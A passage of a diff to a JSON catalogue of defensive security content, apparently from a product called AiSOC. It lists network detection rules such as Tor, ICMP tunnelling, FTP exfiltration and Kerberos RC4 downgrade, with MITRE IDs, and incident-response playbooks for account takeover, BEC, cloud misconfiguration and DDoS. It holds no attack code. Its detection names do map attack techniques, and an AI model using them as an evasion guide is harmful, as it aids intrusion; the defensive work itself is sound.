From Internet to Internal Host",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'RDP From Internet to Internal Host'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "network",+ "mitre_techniques": [+ "T1133"+ ],+ "log_source": "ndr",+ "playbook": "tpl-cloud-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/network/rdp-from-internet.yaml"+ },+ {+ "id": "det-network-007",+ "type": "detection",+ "name": "Outbound Connection to Known Tor Exit",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'Outbound Connection to Known Tor Exit'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1090.003"+ ],+ "log_source": "ndr",+ "playbook": "tpl-c2",+ "verified": true,+ "source": "core",+ "path": "detections/network/tor-traffic.yaml"+ },+ {+ "id": "det-network-008",+ "type": "detection",+ "name": "Outbound HTTP(S) to Newly Registered Domain",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'Outbound HTTP(S) to Newly Registered Domain'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "network",+ "mitre_techniques": [+ "T1071.001"+ ],+ "log_source": "proxy",+ "playbook": "tpl-c2",+ "verified": true,+ "source": "core",+ "path": "detections/network/newly-registered-domain-traffic.yaml"+ },+ {+ "id": "det-network-009",+ "type": "detection",+ "name": "DNS Fast-Flux (Many Distinct A-Records / Short TTL)",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'DNS Fast-Flux (Many Distinct A-Records / Short TTL)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1568.001"+ ],+ "log_source": "dns",+ "playbook": "tpl-c2",+ "verified": true,+ "source": "core",+ "path": "detections/network/dns-fast-flux.yaml"+ },+ {+ "id": "det-network-010",+ "type": "detection",+ "name": "SMB Authentication Without Signing",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'SMB Authentication Without Signing'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "network",+ "mitre_techniques": [+ "T1557.001"+ ],+ "log_source": "windows",+ "playbook": "tpl-credential-theft",+ "verified": true,+ "source": "core",+ "path": "detections/network/smb-signing-disabled-auth.yaml"+ },+ {+ "id": "det-network-011",+ "type": "detection",+ "name": "Rogue DHCP Server Detected on LAN",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'Rogue DHCP Server Detected on LAN'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1557"+ ],+ "log_source": "ndr",+ "playbook": "tpl-credential-theft",+ "verified": true,+ "source": "core",+ "path": "detections/network/dhcp-rogue-server.yaml"+ },+ {+ "id": "det-network-012",+ "type": "detection",+ "name": "ICMP Tunneling Pattern (Large Payloads)",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'ICMP Tunneling Pattern (Large Payloads)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1095"+ ],+ "log_source": "ndr",+ "playbook": "tpl-c2",+ "verified": true,+ "source": "core",+ "path": "detections/network/icmp-tunnel.yaml"+ },+ {+ "id": "det-network-013",+ "type": "detection",+ "name": "Outbound TLS to Server with Self-Signed Cert (Non-Allowed)",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'Outbound TLS to Server with Self-Signed Cert (Non-Allowed)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "network",+ "mitre_techniques": [+ "T1573.002"+ ],+ "log_source": "ndr",+ "playbook": "tpl-c2",+ "verified": true,+ "source": "core",+ "path": "detections/network/tls-self-signed-cert-conn.yaml"+ },+ {+ "id": "det-network-014",+ "type": "detection",+ "name": "TLS JA3 Hash in Threat-Intel Match",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'TLS JA3 Hash in Threat-Intel Match'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1071.001"+ ],+ "log_source": "ndr",+ "playbook": "tpl-c2",+ "verified": true,+ "source": "core",+ "path": "detections/network/tls-ja3-anomaly.yaml"+ },+ {+ "id": "det-network-015",+ "type": "detection",+ "name": "Outbound Traffic to Rare/Suspicious ASN",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'Outbound Traffic to Rare/Suspicious ASN'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "network",+ "mitre_techniques": [+ "T1071.001"+ ],+ "log_source": "ndr",+ "playbook": "tpl-c2",+ "verified": true,+ "source": "core",+ "path": "detections/network/egress-to-rare-asn.yaml"+ },+ {+ "id": "det-network-016",+ "type": "detection",+ "name": "SMB Null Session Attempt",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'SMB Null Session Attempt'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "network",+ "mitre_techniques": [+ "T1135"+ ],+ "log_source": "windows",+ "playbook": "tpl-recon",+ "verified": true,+ "source": "core",+ "path": "detections/network/smb-null-session.yaml"+ },+ {+ "id": "det-network-017",+ "type": "detection",+ "name": "LDAP Bind from Workstation to Domain Controller (Excessive)",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'LDAP Bind from Workstation to Domain Controller (Excessive)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "network",+ "mitre_techniques": [+ "T1087.002"+ ],+ "log_source": "windows",+ "playbook": "tpl-recon",+ "verified": true,+ "source": "core",+ "path": "detections/network/ldap-bind-anomaly.yaml"+ },+ {+ "id": "det-network-018",+ "type": "detection",+ "name": "SNMP Public Community String Probe From Internet",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'SNMP Public Community String Probe From Internet'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "network",+ "mitre_techniques": [+ "T1190"+ ],+ "log_source": "ndr",+ "playbook": "tpl-recon",+ "verified": true,+ "source": "core",+ "path": "detections/network/snmp-public-community-internet.yaml"+ },+ {+ "id": "det-network-019",+ "type": "detection",+ "name": "SYN Flood Pattern Against Public Endpoint",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'SYN Flood Pattern Against Public Endpoint'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1498.001"+ ],+ "log_source": "ndr",+ "playbook": "tpl-ddos",+ "verified": true,+ "source": "core",+ "path": "detections/network/ddos-syn-flood.yaml"+ },+ {+ "id": "det-network-020",+ "type": "detection",+ "name": "Outbound Connection to Threat-Intel-Blocked IP",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'Outbound Connection to Threat-Intel-Blocked IP'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1071.001"+ ],+ "log_source": "ndr",+ "playbook": "tpl-c2",+ "verified": true,+ "source": "core",+ "path": "detections/network/egress-to-blocklisted-ip.yaml"+ },+ {+ "id": "det-network-021",+ "type": "detection",+ "name": "Internal Host Spamming SMTP",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'Internal Host Spamming SMTP'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1566"+ ],+ "log_source": "ndr",+ "playbook": "tpl-malware-execution",+ "verified": true,+ "source": "core",+ "path": "detections/network/internal-host-spamming-mail.yaml"+ },+ {+ "id": "det-network-022",+ "type": "detection",+ "name": "RDP Logon Session With Concurrent Active Console Session",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'RDP Logon Session With Concurrent Active Console Session'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "network",+ "mitre_techniques": [+ "T1021.001"+ ],+ "log_source": "windows",+ "playbook": "tpl-account-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/network/rdp-screen-takeover.yaml"+ },+ {+ "id": "det-network-023",+ "type": "detection",+ "name": "Outbound IPv6 Teredo / 6to4 Tunneling Traffic",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'Outbound IPv6 Teredo / 6to4 Tunneling Traffic'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "network",+ "mitre_techniques": [+ "T1572"+ ],+ "log_source": "ndr",+ "playbook": "tpl-c2",+ "verified": true,+ "source": "core",+ "path": "detections/network/ipv6-tunnel-outbound.yaml"+ },+ {+ "id": "det-network-024",+ "type": "detection",+ "name": "DNS-over-HTTPS to Non-Approved Resolver",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'DNS-over-HTTPS to Non-Approved Resolver'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "network",+ "mitre_techniques": [+ "T1071.004"+ ],+ "log_source": "proxy",+ "playbook": "tpl-c2",+ "verified": true,+ "source": "core",+ "path": "detections/network/dns-over-https-rare.yaml"+ },+ {+ "id": "det-network-025",+ "type": "detection",+ "name": "Outbound FTP Bulk Transfer From Non-Allowlisted Host",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'Outbound FTP Bulk Transfer From Non-Allowlisted Host'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "network",+ "mitre_techniques": [+ "T1048.003"+ ],+ "log_source": "ndr",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/network/ftp-outbound-anomaly.yaml"+ },+ {+ "id": "det-network-026",+ "type": "detection",+ "name": "Outbound Clear-Text Protocol Carrying Credentials",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'Outbound Clear-Text Protocol Carrying Credentials'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "network",+ "mitre_techniques": [+ "T1040"+ ],+ "log_source": "ndr",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/network/outbound-clear-text-protocol.yaml"+ },+ {+ "id": "det-network-027",+ "type": "detection",+ "name": "NTP Amplification Reflector Attack (Inbound monlist)",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'NTP Amplification Reflector Attack (Inbound monlist)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1498.002"+ ],+ "log_source": "ndr",+ "playbook": "tpl-ddos",+ "verified": true,+ "source": "core",+ "path": "detections/network/ntp-amplification.yaml"+ },+ {+ "id": "det-network-028",+ "type": "detection",+ "name": "Peer-to-Peer Protocol on Corporate Network",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'Peer-to-Peer Protocol on Corporate Network'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "low",+ "category": "network",+ "mitre_techniques": [+ "T1071"+ ],+ "log_source": "ndr",+ "playbook": "tpl-account-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/network/p2p-protocol-on-corp-net.yaml"+ },+ {+ "id": "det-network-029",+ "type": "detection",+ "name": "Kerberos Encryption Downgrade to RC4",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'Kerberos Encryption Downgrade to RC4'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "network",+ "mitre_techniques": [+ "T1558.003"+ ],+ "log_source": "windows",+ "playbook": "tpl-credential-theft",+ "verified": true,+ "source": "core",+ "path": "detections/network/kerberos-encryption-downgrade.yaml"+ },+ {+ "id": "det-network-030",+ "type": "detection",+ "name": "WMI Remote Process Creation From Workstation",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'WMI Remote Process Creation From Workstation'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1047",+ "T1021.006"+ ],+ "log_source": "windows",+ "playbook": "tpl-lateral-movement",+ "verified": true,+ "source": "core",+ "path": "detections/network/wmi-remote-execution.yaml"+ },+ {+ "id": "ato-credential-stuffing-v1",+ "type": "playbook",+ "name": "ATO: Credential Stuffing \u2014 Block & Reset",+ "description": "Triggered by high-volume failed logins from a single source. Blocks the IP range, identifies impacted users, and forces resets.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "account-takeover",+ "ato",+ "identity"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 7,+ "category": "account-takeover",+ "mitre_techniques": [+ "T1110.004"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/account-takeover/ato-credential-stuffing.playbook.json"+ },+ {+ "id": "ato-impossible-travel-block-v1",+ "type": "playbook",+ "name": "ATO: Impossible Travel \u2014 Block & Reset",+ "description": "Triggered by impossible-travel detections. Blocks the source IP, force-revokes active sessions for the user, and requires human approval before forcing a password reset.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "account-takeover",+ "ato",+ "identity"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 9,+ "category": "account-takeover",+ "mitre_techniques": [+ "T1078"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/account-takeover/ato-impossible-travel-block.playbook.json"+ },+ {+ "id": "ato-mfa-fatigue-response-v1",+ "type": "playbook",+ "name": "ATO: MFA Fatigue \u2014 Challenge & Reset",+ "description": "Triggered when a user receives an unusual burst of MFA prompts. Enforces step-up auth and resets MFA factors after approval.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "account-takeover",+ "ato",+ "identity",+ "mfa"+ ],+ "severity": "high",+ "trigger": "alert",+ "steps": 7,+ "category": "account-takeover",+ "mitre_techniques": [+ "T1621"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/account-takeover/ato-mfa-fatigue-response.playbook.json"+ },+ {+ "id": "ato-session-token-theft-v1",+ "type": "playbook",+ "name": "ATO: Session Token Theft \u2014 Revoke & Isolate",+ "description": "Triggered when an authenticated session is observed from a new device + new geo simultaneously. Revokes all tokens and isolates the originating endpoint if known.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "account-takeover",+ "ato",+ "identity",+ "session-hijack"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 6,+ "category": "account-takeover",+ "mitre_techniques": [+ "T1539"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/account-takeover/ato-session-token-theft.playbook.json"+ },+ {+ "id": "ato-suspicious-oauth-grant-v1","type": "playbook",- "name": "Malware Triage",- "description": "Automated triage workflow for potential malware incidents. Enriches indicators, isolates affected endpoints, and creates a detailed investigation report.",+ "name": "ATO: Suspicious OAuth Grant \u2014 Revoke & Investigate",+ "description": "Triggered when a user grants a new OAuth scope to an unfamiliar third-party app. Revokes the grant and investigates.","version": "1.0.0","author": "AiSOC",- "tags": ["malware", "endpoint", "triage"],+ "tags": [+ "account-takeover",+ "ato",+ "identity",+ "oauth"+ ],"severity": "high","trigger": "alert",- "steps": 7+ "steps": 5,+ "category": "account-takeover",+ "mitre_techniques": [+ "T1528"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/account-takeover/ato-suspicious-oauth-grant.playbook.json"},{- "id": "tpl-phishing-response",+ "id": "bec-conditional-access-bypass-v1","type": "playbook",- "name": "Phishing Email Response",- "description": "Handles phishing email reports end-to-end: header analysis, link reputation checks, mailbox purge, and user notification.",+ "name": "BEC: Conditional Access Policy Bypass",+ "description": "Triggered when a BEC-related sign-in succeeds from a region that should be blocked by Conditional Access. Restores policy.","version": "1.0.0","author": "AiSOC",- "tags": ["phishing", "email", "identity"],- "severity": "medium",- "trigger": "manual",- "steps": 8+ "tags": [+ "bec",+ "bec",+ "identity",+ "conditional-access"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 5,+ "category": "bec",+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/bec/bec-conditional-access-bypass.playbook.json"+ },+ {+ "id": "bec-impersonation-domain-v1",+ "type": "playbook",+ "name": "BEC: Impersonation Domain Quarantine",+ "description": "Triggered when an inbound email originates from a domain that look-alikes an executive or vendor. Quarantines and blocks.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "bec",+ "bec",+ "email"+ ],+ "severity": "high",+ "trigger": "alert",+ "steps": 6,+ "category": "bec",+ "mitre_techniques": [+ "T1656"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/bec/bec-impersonation-domain.playbook.json"},{- "id": "tpl-ransomware-response",+ "id": "bec-inbox-rule-malicious-v1","type": "playbook",- "name": "Ransomware Response",- "description": "Critical-severity ransomware containment: immediate network isolation, shadow copy status, backup verification, and executive notification.",+ "name": "BEC: Malicious Inbox Rule Removed",+ "description": "Triggered when a forwarding/filter rule is created that hides vendor or finance keywords. Removes the rule and resets creds.","version": "1.0.0","author": "AiSOC",- "tags": ["ransomware", "endpoint", "containment"],+ "tags": [+ "bec",+ "bec",+ "email"+ ],"severity": "critical","trigger": "alert",- "steps": 10+ "steps": 6,+ "category": "bec",+ "mitre_techniques": [+ "T1564.008"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/bec/bec-inbox-rule-malicious.playbook.json"},{- "id": "tpl-brute-force-lockout",+ "id": "bec-token-theft-v1","type": "playbook",- "name": "Brute Force Account Lockout",- "description": "Responds to brute-force login attempts: account lockout, source IP block, MFA enforcement check, and affected-user notification.",+ "name": "BEC: M365 / Workspace Token Theft",+ "description": "Triggered when a refresh token is observed from a new ASN with no interactive sign-in. Revokes refresh tokens and forces MFA.","version": "1.0.0","author": "AiSOC",- "tags": ["brute-force", "identity", "authentication"],- "severity": "high",+ "tags": [+ "bec",+ "bec",+ "identity",+ "token-theft"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 6,+ "category": "bec",+ "mitre_techniques": [+ "T1539"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/bec/bec-token-theft.playbook.json"+ },+ {+ "id": "bec-vendor-payment-redirect-v1",+ "type": "playbook",+ "name": "BEC: Vendor Payment Redirect \u2014 Freeze",+ "description": "Triggered when a vendor banking detail change happens via email. Freezes pending payments and pages CFO.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "bec",+ "bec",+ "finance"+ ],+ "severity": "critical","trigger": "alert",- "steps": 6+ "steps": 6,+ "category": "bec",+ "mitre_techniques": [+ "T1565.001"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/bec/bec-vendor-payment-redirect.playbook.json"},{- "id": "tpl-data-exposure-response",+ "id": "cloud-azure-blob-public-v1","type": "playbook",- "name": "Data Exposure Response",- "description": "Handles suspected data-exposure incidents: asset identification, access log review, external notification assessment, and remediation tracking.",+ "name": "Cloud: Azure Blob Container Public",+ "description": "Triggered when an Azure Storage container is set to public. Reverts to private and audits.","version": "1.0.0","author": "AiSOC",- "tags": ["data-loss", "cloud", "compliance"],+ "tags": [+ "cloud-misconfig",+ "cloud",+ "azure",+ "storage"+ ],"severity": "high",- "trigger": "manual",- "steps": 8+ "trigger": "alert",+ "steps": 4,+ "category": "cloud-misconfig",+ "mitre_techniques": [+ "T1530"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/cloud-misconfig/cloud-azure-blob-public.playbook.json"+ },+ {+ "id": "cloud-cloudtrail-disabled-v1",+ "type": "playbook",+ "name": "Cloud: CloudTrail Disabled \u2014 Re-enable",+ "description": "Triggered when a CloudTrail trail is stopped. Restarts trail and audits API calls in the dark window.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "cloud-misconfig",+ "cloud",+ "aws",+ "logging"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 4,+ "category": "cloud-misconfig",+ "mitre_techniques": [+ "T1562.008"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/cloud-misconfig/cloud-cloudtrail-disabled.playbook.json"+ },+ {+ "id": "cloud-cross-account-trust-v1",+ "type": "playbook",+ "name": "Cloud: Unexpected Cross-Account Trust",+ "description": "Triggered when a role trust policy adds an external account ID not on the allow-list. Revokes and audits.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "cloud-misconfig",+ "cloud",+ "aws",+ "iam"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 4,+ "category": "cloud-misconfig",+ "mitre_techniques": [+ "T1078.004"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/cloud-misconfig/cloud-cross-account-trust.playbook.json"},{- "id": "tpl-privilege-escalation",+ "id": "cloud-gke-anonymous-v1","type": "playbook",- "name": "Privilege Escalation Response",- "description": "Investigates privilege-escalation events: session review, lateral movement tracing, account suspension, and privilege audit.",+ "name": "Cloud: GKE Cluster Anonymous Auth",+ "description": "Triggered when GKE cluster is configured to allow anonymous Kubernetes API access. Disables anonymous and audits.","version": "1.0.0","author": "AiSOC",- "tags": ["privilege-escalation", "identity", "cloud"],+ "tags": [+ "cloud-misconfig",+ "cloud",+ "gcp",+ "kubernetes"+ ],"severity": "critical","trigger": "alert",- "steps": 7+ "steps": 4,+ "category": "cloud-misconfig",+ "mitre_techniques": [+ "T1190"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/cloud-misconfig/cloud-gke-anonymous.playbook.json"},{- "id": "tpl-web-attack-response",+ "id": "cloud-iam-overpriv-v1","type": "playbook",- "name": "Web Application Attack Response",- "description": "Automated response to web-application attacks (SQLi, XSS, RCE): WAF rule creation, log collection, vulnerability triage, and patch-management ticket creation.",+ "name": "Cloud: Over-Privileged IAM \u2014 Detach & Review",+ "description": "Triggered when IAM Access Analyzer flags an over-privileged role. Detaches the policy and opens an owner-review ticket.","version": "1.0.0","author": "AiSOC",- "tags": ["web", "application", "waf"],+ "tags": [+ "cloud-misconfig",+ "cloud",+ "aws",+ "iam"+ ],"severity": "high","trigger": "alert",- "steps": 9+ "steps": 4,+ "category": "cloud-misconfig",+ "mitre_techniques": [+ "T1078.004"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/cloud-misconfig/cloud-iam-overpriv.playbook.json"+ },+ {+ "id": "cloud-key-leak-v1",+ "type": "playbook",+ "name": "Cloud: Cloud Access Key Leaked",+ "description": "Triggered when a long-lived access key is found in a public repo or paste site. Rotates the key and scans for downstream use.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "cloud-misconfig",+ "cloud",+ "secrets"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 5,+ "category": "cloud-misconfig",+ "mitre_techniques": [+ "T1552.001"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/cloud-misconfig/cloud-key-leak.playbook.json"+ },+ {+ "id": "cloud-mfa-disabled-root-v1",+ "type": "playbook",+ "name": "Cloud: Root Account MFA Disabled",+ "description": "Triggered when root MFA is disabled. Re-enables MFA and pages the cloud-platform owner immediately.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "cloud-misconfig",+ "cloud",+ "iam",+ "mfa"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 4,+ "category": "cloud-misconfig",+ "mitre_techniques": [+ "T1556"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/cloud-misconfig/cloud-mfa-disabled-root.playbook.json"+ },+ {+ "id": "cloud-rds-public-v1",+ "type": "playbook",+ "name": "Cloud: RDS Instance Publicly Accessible",+ "description": "Triggered when an RDS instance toggles to publicly accessible. Removes public access and audits.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "cloud-misconfig",+ "cloud",+ "aws",+ "rds"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 4,+ "category": "cloud-misconfig",+ "mitre_techniques": [+ "T1190"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/cloud-misconfig/cloud-rds-public.playbook.json"+ },+ {+ "id": "cloud-s3-public-v1",+ "type": "playbook",+ "name": "Cloud: S3 Bucket Public \u2014 Re-private & Audit",+ "description": "Triggered by `s3-public-bucket` detection. Sets bucket private, enables Block Public Access, and audits last 7d access logs.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "cloud-misconfig",+ "cloud",+ "aws",+ "s3"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 5,+ "category": "cloud-misconfig",+ "mitre_techniques": [+ "T1530"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/cloud-misconfig/cloud-s3-public.playbook.json"+ },+ {+ "id": "cloud-security-group-open-v1",+ "type": "playbook",+ "name": "Cloud: Security Group Opens 0.0.0.0/0",+ "description": "Triggered when a security group rule allows ingress from 0.0.0.0/0 to a sensitive port. Closes the rule and audits the change.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "cloud-misconfig",+ "cloud",+ "aws",+ "network"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 4,+ "category": "cloud-misconfig",+ "mitre_techniques": [+ "T1190"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/cloud-misconfig/cloud-security-group-open.playbook.json"},{- "id": "tpl-insider-threat",+ "id": "ddos-amplification-dns-v1","type": "playbook",- "name": "Insider Threat Investigation",- "description": "Structured investigation for insider-threat cases: activity baseline, DLP alert correlation, HR notification workflow, and evidence preservation.",+ "name": "DDoS: DNS Amplification",+ "description": "Triggered when an inbound spike of crafted DNS queries hits an authoritative server. Sinkholes spoofed sources.","version": "1.0.0","author": "AiSOC",- "tags": ["insider-threat", "dlp", "investigation"],+ "tags": [+ "ddos",+ "ddos",+ "dns"+ ],"severity": "high",- "trigger": "manual",- "steps": 9+ "trigger": "alert",+ "steps": 4,+ "category": "ddos",+ "mitre_techniques": [+ "T1498.002"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/ddos/ddos-amplification-dns.playbook.json"},{- "id": "tpl-cloud-misconfig",+ "id": "ddos-app-layer-l7-v1","type": "playbook",- "name": "Cloud Misconfiguration Remediation",- "description": "Remediates cloud misconfigurations: resource identification, exposure window calculation, automated remediation script, and CSPM alert closure.",+ "name": "DDoS: Application Layer L7",+ "description": "Triggered by anomalous L7 request rate or pattern. Engages WAF rate-limit rule and challenge-page.","version": "1.0.0","author": "AiSOC",- "tags": ["cloud", "misconfiguration", "cspm"],- "severity": "medium",+ "tags": [+ "ddos",+ "ddos",+ "waf"+ ],+ "severity": "critical","trigger": "alert",- "steps": 7+ "steps": 5,+ "category": "ddos",+ "mitre_techniques": [+ "T1498.001"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/ddos/ddos-app-layer-l7.playbook.json"},{- "id": "tpl-account-compromise",+ "id": "ddos-credential-stuffing-fraud-v1","type": "playbook",- "name": "Account Compromise Response",- "description": "Responds to compromised account indicators: forced password reset, session revocation, MFA re-enrollment, and activity timeline generation.",+ "name": "DDoS: Auth-Endpoint Credential Stuffing",+ "description": "Triggered when /login takes a sustained spike of failed attempts. Combines DDoS + credential-stuffing response: WAF challenge, rate-limit, source-IP block.","version": "1.0.0","author": "AiSOC",- "tags": ["account-compromise", "identity", "authentication"],+ "tags": [+ "ddos",+ "ddos",+ "ato"+ ],"severity": "high","trigger": "alert",- "steps": 8+ "steps": 6,+ "category": "ddos",+ "mitre_techniques": [+ "T1110.004"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/ddos/ddos-credential-stuffing-fraud.playbook.json"},{- "id": "tpl-endpoint-isolation",+ "id": "ddos-syn-flood-v1","type": "playbook",- "name": "Endpoint Isolation & Forensics",- "description": "Isolates a compromised endpoint via EDR API, captures memory and disk artefacts for forensic analysis, and triggers 